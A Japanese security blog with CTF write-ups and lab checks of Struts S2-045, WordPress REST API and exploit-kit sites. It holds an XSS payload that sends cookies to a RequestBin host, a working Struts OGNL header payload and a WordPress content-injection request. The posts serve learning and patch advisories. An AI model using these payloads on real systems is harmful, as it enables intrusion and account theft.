生産性のない話

趣味の範囲でサイバーセキュリティの話

Google CTFとTrendmicro CTF

2週間連続でCTFに参加しましたので、まとめて記事にします。

それぞれ問題の傾向に違いはありますが、全体的にGoogle CTFの方が難易度は高かったと思います。 バイナリの知識はもちろんですが、構築やサーバよりの技術、それからGoogleの技術に関する知識も多少必要になります。 対してTrendmicroのCTFは今回はネットワーク系の問題が多く、セキュリティを専門にやっている人がとっつきやすい問題が多かったように思います。

以下簡単な Write Up です。

Google CTF

Joe

解けそうで解けなかった問題です。 Web系の一番簡単な問題ですが、CTF開始時にはバグがあったとかで引っ込められ、1日経ったくらいに再出という形でした。

サイトにアクセスすると、パーソナルアシスタントがいるので、色々話をしてみようというもの。 色々クリック可能な部分があるので、とりあえず遊んでみます。

f:id:blueBLUE:20170629214842p:plain

問題を解くのに重要な機能としては以下

  • what is your name ⇒アシスタントの名前を確認できる
  • let me rename you ⇒アシスタントの名前を変更できる
  • Log in ⇒Googleアカウントを使ってログインできる
  • report bug ⇒バグレポート(サーバがAdminで送ったURLにアクセスする)
  • the admin page ⇒管理者用ページ(入れない)

ちなみに、サーバでは多分送信した文字列に単語が含まれているかで判断していると思われます。 「name」と「report」とかだけで機能が使えます。

管理者ページに入るにはAdminのCookieが必要ということでAdminのCookieを取得できればフラグがゲットできると予想できます。 で、Cookieですからまあ、XSSかなと想像します。

色々やってログインした後、アシスタントの挨拶の名前部分にXSS脆弱性を発見します。

f:id:blueBLUE:20170629215254p:plain

アシスタントの名前を<s>タグで囲ってやって、再読み込みするとアシスタントの名前部分が取り消し線で消されています。

f:id:blueBLUE:20170629215307p:plain

スクリプトタグも実行できます。

f:id:blueBLUE:20170629215333p:plain

アシスタントの名前はログインしているユーザによります。ここまでくると、攻撃の流れが読めてきます。

  1. ユーザAでログイン
  2. アシスタントの名前部分でXSSを仕掛ける
  3. レポート機能でAdminにユーザAでログインさせる
  4. クッキーゲット

やってみます。ログイン時のURLを確認します。

アシスタントの名前を以下のように変更します。

<script>window.location='https://requestb.in/********?'+document.cookie;</script>

アクセスさせるサイトにはRequestBinを利用しました。 今回のCTFで初めて使ったのですが、結構便利です。

RequestBin — Collect, inspect and debug HTTP requests and webhooks

AdminにアクセスさせるURLを調べます。

f:id:blueBLUE:20170629220217p:plain

「login?」でトークンを渡している部分があるので、ここにアクセスさせます。 で、ログインさせるURLにアクセス……が、URLが長すぎると言われました。

ちなみに私はここで色々試しているところで時間切れになりました。(そもそもXSS脆弱性を見つけたのがCTF終了1時間前くらい……)

正解は別のサイトを経由させて、このURLにアクセスさせる、ということでした。

自分のVPS上のDockerでWebサーバを立てて、以下のファイルを置きます。

<script type="text/javascript">window.location='https://joe.web.ctfcompetition.com/login?id_token=eyJhbGciOiJSU...(省略)';</script>

で、バグレポートでここにアクセスさせます(サーバのIPを伏せてます)。

f:id:blueBLUE:20170629221251p:plain

これでAdminは、 「私のサーバ」⇒「アシスタントのサイトに私のアカウントでログイン」⇒XSSによりRequestBinにAdminがアクセス という流れになります。

RequestBinのアクセス履歴。

f:id:blueBLUE:20170629222535p:plain

フラグをゲット。

Trendmicro CTF

Forensic 100

問題はパケットです。ネットワークフォレンジックですね。 内容はDNSリクエスト。明らかに怪しい名前解決のクエリがあります。

f:id:blueBLUE:20170629231825p:plain

これを見た瞬間にDNSトンネリングを行うマルウェアのC2通信という想定だろうと思いました。

こういうマルウェアの類だろうと。

OilRig攻撃活動: サウジアラビアの組織への攻撃でHelminthバックドアを配信 - Palo Alto Networks

標的型攻撃で使われたマルウェアを解析して C2 サーバを作った。そのマルウェアは DNSトンネリングを行う珍しいものだった。 -

ということで、DNSのクエリを取り出します。

tshark -r output.pcap -T fields -e dns.resp.name | grep co.jp | awk -F . '{print $1}'

tsharkを使い慣れていないので調べながら…。

f:id:blueBLUE:20170629224336p:plain

20文字の列が沢山と最後に切れ端みたいなの。なんとなく、これ全体で1つの意味を持つのだと想像できます。

で、デコードですが、Base64ではない、そう簡単ではないかと思いつつも、こういう系の問題は大体Base~だろうとあたりをつけます。Base16やBase32にしては文字の種類が多いとか思いつつ、「Base5」までGoogleで入れたらBase58がサジェストされました。

Base58 - Wikipedia

Bitcoinなんかで使われているようですね。

オンラインのデコーダを探してぶち込んで終わり。

Base58 Decode Text - Base58 String Decoder - Online - Browserling Web Developer Tools

Misc 100

壊れて読み取れないパケットの解析。バイナリエディタで見たら後半の方でFTPでなんかの鍵をやり取りしているので、それを使って通信を復号するんだろうなーとか思いつつ放置していました。

同じチームの人がパケットをWiresharkなどで読み取れるように修復してくれたのですが、それだけではフラグを取得できていないようだったので、自分でもやってみました

WiresharkSSL通信を復号。FTPで送っている鍵はNSS Key Log Format( NSS Key Log Format - Mozilla | MDN )とかいうやつ。

HTTP2でなんかやってる。HTTP2だとヘッダなんかも圧縮されて読めないんですね。

Wiresharkが解析してくれた部分を追っていくと、なんかのサイトにアクセスしている。アクセス先はもう消えている。

f:id:blueBLUE:20170629225331p:plain

オブジェクトをWiresharkからエクスポートできないので、通信をバイナリとしてそのままダンプ、画像はForemostで切り出し、他はgzipで圧縮されているので、とりあえず7zipで開いたら普通に取り出せた(7zip便利)。

ちなみにサイトのパーツは以下の通り。

  • / (index.html)
  • /main.css
  • /images/beer-2288121__340.jpg
  • /images/blueberries-2278921__340.jpg

取り出してサイトを再現してみる。サイトの内容は読めない(ラテン語?) 画像はGoogle画像検索すると色々出てくるので、多分フリー素材。

main.cssにはBase64で埋め込まれた画像があり、index.htmlではそれらを上半分と下半分に切り分けた2枚の画像が貼り付けられています。また、ソースの中に「HINT: visual cryptgraphy」とあります。

f:id:blueBLUE:20170629230051p:plain

で、これらを重ね合わせればいいんじゃね、ってことで、Base64から元画像を復元し、Gimpで重ねると答えが出てきました。

f:id:blueBLUE:20170629230211p:plain

以上です。久しぶりに問題が解けて嬉しかったです。今回参加したものは割と実践に近く、色々と勉強にもなりました。

後、途中で放り出した問題も方向性はあっていたので、復習しておきたいです。

CTFは自分のレベルにあったものをやるべきだと改めて感じました。

野生のWannaCryを捕まえたい

話題になったWannaCryに関するお話です。 WannaCry自体についてはセキュリティ関係問わず、一般に大分広まったので、あらためて話すことでもないかなあと思います。

例によって詳しいまとめです。

d.hatena.ne.jp

世界的に流行ったランサムウェアですが、WindowsのSMBの脆弱性、MS17-010を悪用し、感染を広げるワームとしての機能を持っているという特徴が特筆すべき点でしょう。

いつものメールやWeb感染起因では、ユーザが目の前にいての感染ですが、今回の場合は知らない間に侵入されて、いつのまにか暗号化というパターンのため、感染端末がその管理者より早く第三者の目に触れることが多く、一般の方々の話題に上りやすかったのではないでしょうか。

とはいえ、話題のわりに日本での被害はそれほど多くはなかったようです。日本の場合、一般の家庭ではブロードバンドルータが端末の間にいるので、グローバルのIPへの攻撃があっても、端末に直接445番ポート宛の攻撃が届くことはまずないようです。

WannaCryの感染経路ですが、事態がおおよそ収束してから、各セキュリティ会社が考察を行っています。

ランサムウェア「WannaCry/Wcry」のワーム活動を解析:侵入/拡散手法に迫る | トレンドマイクロ セキュリティブログ

How did the WannaCry Ransomworm spread? - Malwarebytes Labs | Malwarebytes Labs

大規模ランサムウエア感染に関する緊急調査レポートを公開 | NTTデータ

初期感染にはNSAバックドアツールである DoublePulser が利用されたとの見方が強いです。DoublePulser がどこから侵入したかは不明ですが、侵入された端末はWannaCry感染以前からこのバックドアがインストールされていた可能性が高いということになります。

今回のWannaCryをばらまいた犯人が事前に準備していたものなのか、それとも別の人間がほかの目的で準備していたものをWannaCryが横取りしたのか、そのあたりはわかりません。

WannaCryの感染活動ですが、TrendMicroのブログによると、以下のようになっています。

1.1 ローカルネットワーク内の端末を列挙しスキャンする
1.2 グローバル、ローカル含め、無作為なIPアドレスに対してもスキャンする
スキャン対象の端末に SMB の 445番ポートで接続し、「MS17-010」の脆弱性の存在を確認
2.1 脆弱性が存在した場合
2.1.1 DoublePulsar の存在を確認
2.1.1.1 DoublePulsar が存在した場合はDoublePulsar のバックドア機能を使用して WannaCry自身を送り込み感染させる
2.1.1.2 DoublePulsar が存在しなかった場合は「MS17-010」の脆弱性を利用して DoublePulsar を感染させる
※この際、脆弱性によって DoublePulsar のコードがメモリ中で直接実行され、ファイルとして DoublePulsar が感染端末に存在することはない
2.1.1.2.1 感染させたDoublePulsar のバックドア機能を使用して WannaCry自身を送り込み、感染させる
2.2 脆弱性が存在しない場合
2.2.1 DoublePulsar の存在を確認
2.2.1.1 DoublePulsar が存在した場合は DoublePulsar のバックドア機能を使用して WannaCry自身を送り込み感染させる

つまり攻撃対象にDoublePulserが存在しているかどうかにかかわらず、感染の際には必ずDoublePulserを経由してのインストールが行われます。

このWannaCryをハニーポットで収集できないかと思っていたのですが、DoublePulserが動く環境でなければWannaCryまでは入ってこないようです。なので、低対話型のハニーポットでは難しいのかと諦めていました。が、

すごい人がいるものですね。

早速使ってみました(利用は自己責任でお願いします)。

GitHub - gento/dionaea: dionaea low interaction honeypot (forked from dionaea.carnivore.it)

インストールなどは通常のDionaeaと同じです。

結果ですが、動かして数時間でいくつかそれらしい検体が捕れていました。

f:id:blueBLUE:20170527212312p:plain

ファイルサイズがすべて同じですが、ハッシュ値は異なります。検知回避目的のポリモーフィズムの手法だと思われます。

このうち一つをVirusTotalに投げてみました。

Antivirus scan for 86963c4751030168f7ebba58a99cf567ab7dd56ec4ff22ba785101aea45cd97e at 2017-05-27 11:57:17 UTC - VirusTotal

多分他も同じような検知になると思います。

このDionaeaのモジュールはDoublePulserの動きを模擬しているのだと思います。

445ポートに来た通信にはすべてDoublePulserが答えるようになっているのかとか、詳しいことは全然分かっていませんが……。

ともあれ、低対話型のハニーポットでもWannaCryを捕まえられるんですね。本当にこういったツールを作っている方々には頭が下がります。

しばらく動かして観察してみたいと思います。

セキュリティ関連の調査に利用できるWebサービスについて

OSINT(Open Source Intellihence)というそうですね。いつの間にそういった言葉ができたのか、知りませんでしたが、どんな分野でも有用なWebサービスにはお世話になるものです。

セキュリティのWebサービスで有名どころと言えば VirusTotal があります。検体を投稿し、各ベンダーの製品でスキャンした結果を表示してくれます。他に、Webサイトのスキャンやファイルのハッシュ値でのスキャン結果の検索、IP、ドメインの情報の検索 など、利用可能な情報は多岐にわたります。

VirusTotalだけの話ではありませんが、投稿するファイルに機密な情報が含まれていないかは確認しておきましょう。こうした外部Webサイトへのファイルのアップロードは一般公開されても困らないもののみに限定すべきです。

こういった外部情報サイトは他にもあります。Webサイトの情報に特化したもの、マルウェア解析に特化したものなど、それぞれの特性に合わせて利用すれば、特別なツールなど使わなくても、かなりの調査が可能です。 いくつか挙げてみます。

Webサイト調査系

マルウェア解析系

IP/ドメイン調査

その他

  • Shodan - インターネットに接続されている機器をスキャンし、その情報を提示してくれる。

  • Censys - こちらもShodanみたいにスキャンしているサイトらしい。

他に同じようなサービスは様々あります。用途に応じて自分の使いやすいサービスを探すのが良いかと思います。

また、もう少し凝ったことをしたいという時には、こういったいくつかのサービスではAPIを提供しています。

例えば、VirusTotalではアカウントを作成し、APIキーを入手すれば、1分で4リクエストまでという制限はありますが、API経由での調査が可能です。

Public API version 2.0 - VirusTotal

こういうAPIの利用方法は公式のドキュメントが一番わかりやすかったりするので、そちらを読んで利用するのが良いと思います。

PythonAPIを利用してみます。 (APIを利用する時のためのモジュールを作っておくと、後々便利なんだじゃないかと思いました)

virustotal.py'として以下のようなスクリプトを用意します。

import requests

apikey = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

url_hash = 'https://www.virustotal.com/vtapi/v2/file/report'
url_scan_url = 'https://www.virustotal.com/vtapi/v2/url/scan'
url_report_url = 'http://www.virustotal.com/vtapi/v2/url/report'
url_ip = 'http://www.virustotal.com/vtapi/v2/ip-address/report'
url_domain = 'http://www.virustotal.com/vtapi/v2/domain/report'

def getHashReport(filehash):
  params = {'apikey': apikey, 'resource':filehash}
  headers = { "Accept-Encoding": "gzip, deflate"}
  response = requests.get(url_hash ,params=params, headers=headers)
  json_response = response.json()
  return json_response

def getUrlScan(url):
  params = {'apikey': apikey, 'url':url}
  response = requests.post(url_scan_url, data=params)
  json_response = response.json()
  return json_response

def getUrlReport(url):
  headers = { "Accept-Encoding": "gzip, deflate"}
  params = {'apikey': apikey, 'resource':url}
  response = requests.post(url_report_url, params=params, headers=headers)
  json_response = response.json()
  return json_response

def getIPReport(ip):
  params = {'apikey': apikey, 'ip': ip}
  response = requests.get(url_ip, params=params)
  json_response = response.json()
  return json_response

def getDomainReport(domain):
  params = {'apikey': apikey, 'domain': domain}
  response = requests.get(url_domain, params=params)
  json_response = response.json()
  return json_response

APIキーは各自のものを使ってください。 これを用意しておけば、後は使いたいときに外からこのスクリプトを読み込んで関数を呼び出すだけです。

テスト用のスクリプトを用意。

import virustotal as vt
import time
import json

if __name__ == '__main__':
  hashsum = 'ffffffffffffffffffffffffffffffff'
  url_scan = 'www.xxx.xyz/index.php'
  domain = 'www.xxx.xyz'
  ip_addr = 'XX.XX.XX.XX'

  print '--File Report--'
  result = vt.getHashReport(hashsum)
  print json.dumps(result, indent=2)
  time.sleep(16)
  print '--URL Scan--'
  result = vt.getUrlScan(url_scan)
  print json.dumps(result, indent=2)
  time.sleep(16)
  print '--URL Report--'
  result = vt.getUrlReport(url_scan)
  print json.dumps(result, indent=2)
  time.sleep(16)
  print '--IP Report--'
  result = vt.getIPReport(ip_addr)
  print json.dumps(result, indent=2)
  time.sleep(16)
  print '--Domain Report--'
  result = vt.getDomainReport(domain)
  print json.dumps(result, indent=2)

1分に4リクエストまでなので、一応1回ごとに16秒のインターバルをいています。ハッシュ値とか、URLとかは適当なものを入れてください。

結果はjsonで返ってきます。'virustotal.py'ではそれを辞書型にして返してくれます。テストスクリプトではそれを改めてjsonとしてダンプします。

結果は出力されたものを見てもらえば、どのように結果が出るかわかると思います。うまいこと必要な情報を抜き出していきましょう。

こういう感じで、他のサービスのAPIも手軽に扱えるよう、準備しておきたいですね。色々なサービスを連携して簡単に情報を収集できるような環境を目指しましょう。

続・Apache Strtus 2 の脆弱性(S2-045・S2-046)について

前回に引き続き、Apache Struts2脆弱性についてです。

色々と新しい情報が出てきたので改めて。

Apache Struts2Jakarta Multipart parser の脆弱性

影響を受けるバージョン

Apache Struts 2.3.5 ~ 2.3.31
Apache Struts 2.5 ~ 2.5.10

対策

脆弱性修正バージョンへのアップデート

Apache Struts 2.3.32 以降
Apache Struts 2.5.10.1 以降

回避策

公式から提供されているパーサ修正のプライグインの適用

 以前回避策とされていた内容ですが、

MultipartパーサーをJakarta以外の実装に切り替える対策も紹介されています。

 ⇒Jakarta Streamでも影響を受けることが判明

「Content-Type」に疑わしい値を含むリクエストを検証、破棄するサーブレットフィルタを実装する。

 ⇒Content-LengthとContent-Dispositionヘッダでも攻撃が可能なことが判明

 ということで注意が必要です。

 

Content-LengthとContent-Dispositionを利用した新しい攻撃コードが公開されています(S2-046・CVE番号はS2-045と変わらずCVE-2017-5638)。

さらっと攻撃コードを試してみました。

・脆弱バージョン(Struts 2.5.10)

f:id:blueBLUE:20170325144539p:plain

・修正済みバージョン(Struts 2.5.10.1)

f:id:blueBLUE:20170325144552p:plain

コマンドが実行されています。

パケットの内容を見るとこんな感じです。

f:id:blueBLUE:20170325144606p:plain

Content-Lengthに大きい値を入れてエラーを起こし、Content-Dispositionのコードを実行します。コード実行のメカニズムはS2-045と変わらないですね。

影響範囲も同じですが、S2-045を特定の回避策をとっていた場合影響を受けるかもしれません。

やはり脆弱性対応はバージョンアップが基本ですね。

Strutsから今回の脆弱性を緩和するためのPluginも出ています。試してみたかったのですが、ビルドする環境を作るのが面倒になってやめました。

バージョンアップできない方は試してみてください。

 

Strutsを狙った攻撃ですが、最近立てていたWebハニーポットのGlastopfにも攻撃が来ていました。以下のようなものです。

f:id:blueBLUE:20170325151515p:plain

S2-045の攻撃です。見たときはS2-045とS2-046の複合的な攻撃かと思いましたが、そうではないようです。POSTの中に攻撃コードがそのまま入っていますが、なにか意味があるんですかね……。

実行するとnMaskという文字が出力されます。

IP直打ちで「/」直下への攻撃ということで無差別のスキャンだとは思います(そもそもこのハニーポット検索エンジンのインデックスなどもしてないですし)。

 

だいぶ騒いだのでそろそろ収束してほしいですね。もうStruts脆弱性お腹いっぱいです。

Apache Strtus 2 の脆弱性(S2-045)について

Apache Struts脆弱性S2-045が3月6日に公開されました。

JVNVU#93610402: Apache Struts2 に任意のコードが実行可能な脆弱性

Apache Struts2 には、Jakarta Multipart parser の処理に起因する、任意のコードが実行可能な脆弱性が存在します。

 注意喚起

Apache Struts 2 の脆弱性 (S2-045) に関する注意喚起

Apache Struts2 の脆弱性対策について(CVE-2017-5638)(S2-045):IPA 独立行政法人 情報処理推進機構

まとめ

Struts2の脆弱性 CVE-2017-5638 (S2-045)についてまとめてみた - piyolog

2017年3月に発生したApache Struts 2で稼働していたとみられるWebサイトへの不正アクセスについてまとめてみた - piyolog

Apache Struts 2における脆弱性 (S2-045、CVE-2017-5638)の被害拡大について | LAC WATCH | 株式会社ラック

技術検証

Struts2のリモートコード実行可能脆弱性(CVE-2017-5638)を分析した - R42日記

CVE-2017-5638 - 脆弱性調査レポート | ソフトバンク・テクノロジー

Apache Struts2の脆弱性(CVE-2017-5638)を検証してみた - とある診断員の備忘録

 

リモートから任意コード実行というとても危なげな脆弱性です。Struts 2は過去にもいくつか同じレベルの脆弱性が公開され、なんだかんだ影響が大きかったように思います。

今回もどうもそんなパターンのようです。

内容については上記記事が大体まとめてくれています。つぎはぎすると以下のような感じ。

簡単に概要

この脆弱性は、ファイルアップロード時に使用するマルチパーサー「jakarta」に起因する脆弱性で、同マルチパーサーはApache Struts 2にてデフォルトで使用しているものです。 この脆弱性を利用した攻撃が成立した場合、リモートからApache Struts2が配置されたWebアプリケーションサーバーの実行権限で任意のコードを実行される危険性があります。

ファイルアップロード時のヘッダの処理方式に問題があるようです。

 要するに、Content-TypeにOGNL式を入れるとそのまま実行されてしまうようです。

 影響を受けるバージョン

Apache Struts 2.3.5 ~ 2.3.31
Apache Struts 2.5 ~ 2.5.10

 対策

2017年3月8日付リリース以降のバージョンに更新する。

Apache Struts 2.3.32 以降
Apache Struts 2.5.10.1 以降
また、MultipartパーサーをJakarta以外の実装に切り替える対策も紹介されています。

https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-AlternateLibraries

回避策
「Content-Type」に疑わしい値を含むリクエストを検証、破棄するサーブレットフィルタを実装する。

Multipartパーサーの切り替えやサーブレットフィルタはあくまで次善策と考え、アップデートでの対応が望ましいと思われます。

追記・2017/03/25

MultipartパーサーはJakarta Streamでも影響を受けることが公開されました。また、Content-Type以外に、Content-LengthとContent-Dispositionの値を利用した攻撃コードも公開されています。対策についはご注意ください。

 

後追いですが、検証してみます。

「とある診断員」さんのリンクから、DockerでStrutsの検証環境構築に関する記事へのリンクがあり、これが役に立ちます。

Dockerを使って、Apache Struts2の脆弱性S2-037のやられ環境を手軽に作る - DARK MATTER

以下のようなDockerfileを作成

FROM tomcat:7.0-jre8
ADD struts-2.5.10/apps/struts2-rest-showcase.war /usr/local/tomcat/webapps/
CMD ["catalina.sh", "run"]

ADDするwarファイルは好みに応じて、必要なStrutsのバージョンをダウンロードし、展開したものを用意し、そのパスを指定します。

ビルドして実行

docker build -t struts/s2_045 .
docker run -it --rm -p 8080:8080 struts/s2_045

あとはリクエストを投げるだけ。

割と結構面倒なStrutsの環境構築がものの数分で完了するという手軽さ。しかも、Dockerfileをちょっと書き換えるだけで異なるバージョンの環境も簡単に作れます。

後は 「http://localhost:8080/struts2-rest-showcase/orders.xhtml」にアクセスできることを確認し、環境構築は完了です。

 

攻撃検証の方法はなんでもいいのですが、要は「Content-Type」ヘッダに攻撃コードを入れればいいので、REST Clientでやってみます。

URLを指定し、「Content-Type」ヘッダに以下のような攻撃コードを追加。

"%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println("testest")).(#ros.flush())}"

まず普通にGETした結果。

f:id:blueBLUE:20170312210521p:plain

次に 「Content-Type」に攻撃コードを追加した結果。

f:id:blueBLUE:20170312210540p:plain

これで、コマンドの結果が返ってきます。ちなみに、GETでもPOSTでもどちらでも攻撃は可能です。

脆弱性の修正されたバージョンのStruts 2.5.10.1に対して、同じリクエストを投げてみると、GETでは200、POSTでは400が返ってきましたボディを確認すると、コマンドは実行されていないようです。

 

昨年の春ごろもStruts脆弱性が騒がれていたので、前回の大きな脆弱性から1年経っていません。Strutsを利用している方は、やはりWAFなどの攻撃に対する緩和策も用意しておくのがいいかと思います。

 

……一番の対策はStrutsを使わないことじゃないでしょうか。

wgetで Exploit Kit 改ざんサイトへアクセスする

ブラウザやFlashなどのブラウザのプラグイン脆弱性をついてドライブバイダウンロード攻撃によりWeb経由でマルウェア感染を行うためのツールキットがExploit Kitです。

攻撃者は正規のWebサイトを改ざんし、Exploit Kit へ正規サイトへアクセスしたユーザを誘導し、マルウェアをインストールさせようとします。

今回はその Exploit Kit 誘導に利用される改ざんされたサイトの調査です。

 

最近多いのがRIGと呼ばれるExploit Kitで、これに関するレポートがLAC社より出ています。

www.lac.co.jp

Exploit Kitの特徴など、基本的なところはレポートを読めばわかるかと思いますし、それ以上詳しくここで説明する気もありません。

Exploit Kitに関する分析・解説記事はネット上に沢山ありますが、このレポートは各種攻撃キャンペーンについて詳しく書いてあり、参考になります。

 

Exploit Kitへ誘導するための正規Webサイトの改ざんには攻撃キャンペーンごとに特徴があります。レポートで取り上げられていた攻撃キャンペーンは以下の3つ。

  1. Pseudo-Darkleech
  2. EITest
  3. Afraidgate

今回はこのうち、「1. Pseudo-Darkleech」と「2. EITest」で改ざんされたWebサイトにアクセスしてみます。

 

1. Pseudo-Darkleech

レポートによると、最近のPseudo-DarkleechキャンペーンではCerber Ransomwareに感染させることを目的としています。

古いバージョンのFlashをインストールしたInternet ExplorerでPseudo-Darkleechにより改ざんされたWebサイトにアクセスしてみると、ブラウザ上では下記のような表示になります。

f:id:blueBLUE:20170308075212p:plain

この後、ユーザの一時フォルダ内でCerber Ransomwareが実行され、気が付くとファイルが暗号化され脅迫文が表示されるという状況になります。

 

このPseudo-Darkleechでは最初の改ざんサイトへアクセスしてきたユーザが攻撃対象であるかをUser Agentで判断しているようです。そのため、単純にwgetしただけではExploit Kitへ誘導するためのスクリプトは含まれていない、通常のコンテンツが返ってきます。しかし、wgetでもWindowsIEのUser Agentを指定してやれば、Exploit Kitへ誘導するためのスクリプトを含んだコンテンツが返ってきます。

f:id:blueBLUE:20170308224920p:plain

User Agentの指定なしで取ってきたコンテンツとUser Agentを指定して取ってきたコンテンツを比較すると、Exploit Kitへの誘導部分が分かりやすいです。

 

改ざんがばれないようにか、解析させないためにか、攻撃者はこういうちょっと面倒なことをしてきます。

 

2. EITest

こっちはもっと面倒です。実際にやってみると、全然Exploit Kitへの転送を行うスクリプトが返ってきませんでした。

レポートによると、EITestの改ざんでは、海外のIPを利用するためにオープンプロキシを利用してアクセスしなければならなかったとあります。

また、EITestではPseudo-Darkleechでも見ていたUser Agentに加え、さらにリファラで確実にWeb経由でのアクセスであることを確認しているようです。

なので、wgetを実行する際、WindowsInternet ExplorerのUser Agentを指定し、Google経由でアクセスするときのリファラを指定して、攻撃者が想定している国のプロキシを利用してアクセスして初めてExploit Kitへ誘導されます。

本当に、面倒くさい……。

実際にやってみます。

コマンドはこんな感じになります。

 $ wget "http://www.XXXXX.com/" --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" --referer="https://www.google.co.jp/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=0ahUKEwjMzPTumsLSAhUKa7wKHSc9CswQFggfMAA&url=http%3A%2F%2Fwww.XXXXX.com%2F&usg=AFQjCNHIc2UQEFWmNNNtk8hY6gkEKuExkw"  -e HTTP_PROXY=XX.XX.XX.XX:8080

で、アクセスした結果はこんなん。

f:id:blueBLUE:20170308231345p:plain

条件は以下の通りです。何も考えずに条件を変えていったので、少し見にくいですが。

wgetオプション条件
ファイル名User Agentリファラプロキシ
index.html あり(Win7 IE11) あり(Google) あり(ドイツ)
index.html.1 あり(Win7 IE11) あり(Google) なし(日本)
index.html.2 なし なし なし(日本)
index.html.3 あり(Win7 IE11) あり(Google) あり(中国)
index.html.4 なし あり(Google) あり(中国)

見ると、中国のプロキシ経由でUser Agentとリファラを指定したときのみ、取得したコンテンツのサイズが少し大きくなっていることが分かります。

diff取ると確かにExploit Kitへのリンクが含まれています。

f:id:blueBLUE:20170308230115p:plain

EITestはランサムウェアだけでなく、金融系などの様々なマルウェアに感染させようとします。だから、できるだけ解析させないよう面倒な手順を踏んでいるのではないでしょうか。

 

また、EITestではExploit Kit以外にChromeでアクセスしたユーザに偽のポップアップ画面を表示してChromeのアップデートを促し、マルウェアに感染させる手口もあるようです。

こちらもやってみました。

f:id:blueBLUE:20170308234116p:plain

条件はこんな感じです。

wgetオプション条件
ファイル名User Agentリファラプロキシ
index.html あり(Win7 Chrome) あり(Google) なし(日本)
index.html.1 あり(Win7 Chrome) なし なし(日本)
index.html.2 なし なし なし(日本)
index.html.3 あり(Win7 Chrome) あり(Google) あり(ドイツ)
index.html.4 あり(Win7 Chrome) なし あり(ドイツ)
index.html.5 あり(Win7 IE11) あり(Google) あり(ドイツ)

1つだけ明らかにサイズが大きいものがあります。

まず、index.htmlをChromeで開いてみます。

f:id:blueBLUE:20170308075410p:plain

 普通のサイトです。次に下のindex.html.3をChromeで開きます。

 

f:id:blueBLUE:20170308075351p:plain

なんかのフォントが足りないみたいに言われています。モザイクかけちゃいましたが、後ろのページの表示も一部崩れているという芸の細かさ。

そして、Chromeのアップデートをしろと丁寧に言われました。このUpdateボタンをクリックするとマルウェアが落ちてきてそれを実行して感染、という流れになるはずです。

このUpdateのリンクを踏んでみましたが、残念ながらマルウェアを置いてあるホストがなくなった後らしく、リンク先が見つかりませんと言われて終わりました。

 

EITestのExploit Kitへのアクセスがとても面倒だということが分かりました。おそらくUser AgentとリファラとIP(国・地域)で識別しているようですが、実際、そのサイトがどこの何を狙っているかが分からないし、もしかするとこれ以外にも制約があるかもしれないです。色々な条件でアクセスして全くExploit Kitへ誘導されないこともあったので、もしかすると条件に合ってもランダムで誘導したりしなかったりするのかもしれないとか考えたりしました。

もちろん、こんな面倒をしているのもwgetなんか使っているからで、攻撃者は一般的なブラウジングの結果、そこにたどり着くことを想定しており、普通のブラウザからアクセスならExploit Kitへ誘導される可能性はもっと高くなります。

 

今回はExploit Kitの攻撃キャンペーンがどのようなWeb改ざんを行っているのかを調べてみました。アクセス時の条件によって挙動が変わるのは面白いです。あと、wgetでも色々頑張れることが分かりました。

できればクローラでマルウェアのダウンロードまで行えるようになればいいなあ。

WordPressのREST APIの脆弱性

2月当初から話題になっているWordPress脆弱性の検証を調べてみました。

2月の2週目の頭くらいに改竄速報さんが荒ぶってまして、その原因がこのWordPress脆弱性をついたWeb改ざんのようです。

改ざん被害について、Web改竄速報さんがまとめてくれています。

JPドメイン Web改竄速報

2017年2月に発生した「WordPress」の脆弱性に対する攻撃についてのレポート

とても簡単なリクエストで改ざんされるので、情報が公開されてから、日本のものを含め、大量のWebサイトが改ざんされました。

各所で注意喚起がなされています。

WordPress の脆弱性対策について:IPA 独立行政法人 情報処理推進機構

WordPress の脆弱性に関する注意喚起

WordPressの脆弱性に関する注意喚起[みんなでしっかりサイバーセキュリティ]

運用している方はすぐに最新のもにアップデートしましょう。

技術的な内容については下記の記事(徳丸さんのブログ)が詳しいです。

blog.tokumaru.org

リクエストのパラメータでエラーを起こすと、書き込み権限のチェックが正常に行われず、記事の更新が実行されてしまうようです。

この脆弱性があるのでWordPressの4.7と4.7.1です。REST APIがデフォルトで有効になっており、当該バージョンであれば、攻撃が成功する可能性が高いです。

 

脆弱性検証

簡単にできるので、ちょっと検証してみました。バージョンはWordPressの4.7.1です。

インストールして、改ざんように記事を用意しました。

f:id:blueBLUE:20170212223356p:plain

 

この記事に対して、攻撃を行います。

POSTリクエストのパラメータは「?id=1A」みたいに「記事のID(数字) + {文字}」のようになります(数字が入るはずの場所に文字を混入させてエラーを起こす。)

POSTのボディに改ざんするデータをJSON形式で渡します。(今回は記事の内容を「Hacked by me」に改ざんします)

f:id:blueBLUE:20170212223420p:plain

改ざんされました。

 

ちなみに、ここでPHPjavascriptのコードを書いても消されてしまいます。なので、バックドアの設置とか、サーバ自体への攻撃は難しいようです。その辺は結構しっかりしてるみたいですね。

ただ、コードを直に書けるプラグインなどが入っていれば攻撃は行われるようです。

blog.sucuri.net

上記の記事では PHPコードを記事内で実行するためのプラグインとしてInsert PHP や Exec-PHP などと紹介されています。

ということで、検証してみたのですが、せっかくなので、別のプラグインで試してみます(というか、Insert PHP がうまくいかなかった)。

inline-javascript」というプラグインを入れて、javascriptを実行してみます。

内容は下記のような感じ。

[inline]
<script type="text/javascript">
alert('Hacked!!!');
</script>
[/inline]

で、改ざんします。

f:id:blueBLUE:20170212223811p:plain

できました。

 

試した内容は以上ですが、コード実行関係のプラグインは他にも色々ありそうです。今回の脆弱性はプラグインではなく、WordPress本体のものです。Wordpressのアップデートを実施しましょう。できなければ、次善策としてREST APIの無効化ですかね。

